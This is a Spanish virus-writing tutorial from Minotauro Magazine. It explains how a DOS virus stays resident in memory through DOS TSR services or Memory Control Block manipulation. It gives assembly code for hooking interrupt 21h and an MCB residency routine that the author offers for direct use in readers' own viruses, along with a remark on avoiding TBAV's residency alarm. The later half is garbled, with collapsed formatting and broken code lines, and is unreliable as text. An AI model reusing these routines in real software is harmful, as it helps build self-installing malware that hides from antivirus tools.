CURSO-4

      -   INSTALACION DE UN VIRUS EN LA MEMORIA DEL ORDENADOR   -



-------------------------------------------------------------------------------



        Este artículo intenta explicar los métodos mas usados de residencia,

con un enfoque mas práctico que teórico, dejando en claro lo fundamental para

poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de

técnicas descritos, que pueden (en el caso del MCB) usarse directamente

en sus propios virus.

La teoría no esta muy detallada, pero se encontrará  todo lo necesario para

que el novato comprenda y pueda usar estos métodos. Y con la información

del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna

guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico

necesario (espero...).



Empezemos:

        Los métodos más usados para dejar a un virus residente son:

los que el DOS proporciona o el método de MCB (Memory Control Block).



La primera forma es la más simple, pero también la mas ineficaz,

primero porque le informa al DOS que se esta dejando algo residente... además

al ejecutarse esa función retorna el control al DOS. El programa que se

intente ejecutar termina!. El virus que use esta técnica para evitar salir

al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar

residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda

ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su

vez, le da el control al programa padre, al que se cargo primero, y este

puede entonces terminar, ejecutando al anfitrión.  Si esto no se hiciera, al

ejecutar una int 21, por ejemplo, se le cedería el control al interprete de

comandos...



Una de las característica de los virus que usan esta técnica es que

suelen colocarse al principio de los archivos, estos servicios dejaran

residente la cantidad de parrafeo que se les indique desde el comienzo del

programa en memoria... Si tenemos un COM de 50K y el virus al final, al

usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaria seria

el primer K del COM, no el virus que esta al final....

Es evidente que no pondemos dejar 50k  residentes... para que el virus quede

en memoria se puede relocar(mover), a otro bloque, tranferirle el control, y

luego este le cederá el control al programa padre...

Para evitar esto, muchos se colocan al principio del programa que infectan.

Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo

después del virus, lo que no pasa si va al final, en ese caso solo hay que

escribir el virus, no el virus y el archivo!.

Este método es poco elegante, ademas de lento si se infecta dejando el virus

al comienzo, entre otras cosas...



Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal

para ilustrar su funcionamiento.

Este ejemplo intercepta la int. 21 y luego le pasa el control sin

hacer nada. Se le puede agregar el código para hacer lo que se quiera.



===============================================================================

===============================================================================

code    segment

        assume cs:code,ds:code

        org   100h            

start:

        jmp     instalar                        ;Salta a la rutina de

                                                ;instalacion.



;En esta variable va la direccion original de la int 21h.

old_21  dd      2



new_21:



;Aca va la rutina que se cuelga de la interrupcion 21h.



        jmp     cs:[old_21]                     ;Salta a la int original.



instalar:



;Obtengo el vector original de la int 21

        mov     ax, 3521h

        int     21h

        mov     word ptr old_21, bx    

        mov     word ptr old_21+2, es  



;Seteo el nuevo  vector de la int 21

        mov     ax,2521h        

        push    cs

        pop     ds

        mov     dx, offset new_21

        int     21h



;Queda residente

        mov     ah, 31h

        mov     dx, 30d  ;ß-- Cantidad de parrafeo(16 bytes) a dejar int 21h ; residentes.
                               code ends end star

El segundo método es el de MCB, este es un poco mas complejo que simplemente llamar a al int
27h,pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un
bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes,
un parrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo,
en cs - 1, esta la dirección de este bloque. En el offset 3 del mismo esta la cantidad de
memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese
valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla
(servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro
virus con '8' en el offset 1, para que el dos piense que es parte suya y no use esa memoria. En
ese offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque
es el que usa el DOS. El código que sigue muestra como se hace... Este code sirve para dejar un
virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento
del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS.;Paso a AX el Code Segment, lo
decremento y paso a ES, para obtener; la memoria reservada por el programa anfitrión (ES:[3]),
que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca
estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;Resto a la memoria
usada por el anfitrión la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la
longitud del virus, ;en parrafos. ;Paso el resultado de la operacion anterior a BX, para después
llamar al ;servicio de liberar memoria, que se llama com BX, con el nuevo tamaño y con ;el
asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva
cantidad a BX. push cs pop es mov ah,4ah int 21h ;Asigno la memoria liberada a mi virus, el
segmento de la memoria asignada ;queda en AX. Decremento BX porque un parrafo lo va a usar el
DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX,
Y lo paso a ES, de esa forma apunto al parrafo que usa el DOS ;como control, marco ese parrfo en
El offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilize esa zona de memoria.
;Después incremento AX otra vez y lo paso a ES, para que ES quede apuntando ;a la memoria que el
virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un
nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg Del virus Ahora lo que queda es
mover el virus al segmento reservado, esto es cuestión de hacer un rep movsb al segmento al que
apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma,
la alarma de residencia del TB salta cuando detecta la actualizacion de la int 21h o 13h. Fé de
Ratas.. ;) - mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos
obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;**** ;El problema de esto,
es que en ningún momento se aclara que tenemos que decla_ ;rar el tamaño del virus un poco mas
grande, exactamente un parrafo mas largo. ;Esto por qué ? Y bueno, en el momento en que tenemos
que restarle un parrafo a ;la memoria que queremos reservar (esto lo haciamos para dar lugar a
que se ;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus ;también..
osea que la última parte del virus no entraría en la memoria reser_ ;vada.. Puede ser que no
traiga problemas por ser un  rea de datos o algo por ;el estilo, pero es aconsejable hacer las
cosas bien, o no ? ;-) ;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad
de ;parrafos del virus o si lo declaran en su programa con un : ; ; TAMANO_EN_PARRAFOS EQU
((FIN-COMIENZO)/16)+1 ; ; declarar el incremento directamente ahi, para no gastar bytes ni
clocks ;) : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;**** sub ax, bx ;En BX esta
la longitud del virus, ;en parrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a
reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ;
Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr
es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo
la dir del seg. del virus ... ;blah blah blah y sigue el código ;) ...DTM - Dead to Minotauro BBS
silly Troyan installer. Text by Zarathustra for Minotauro Magazine.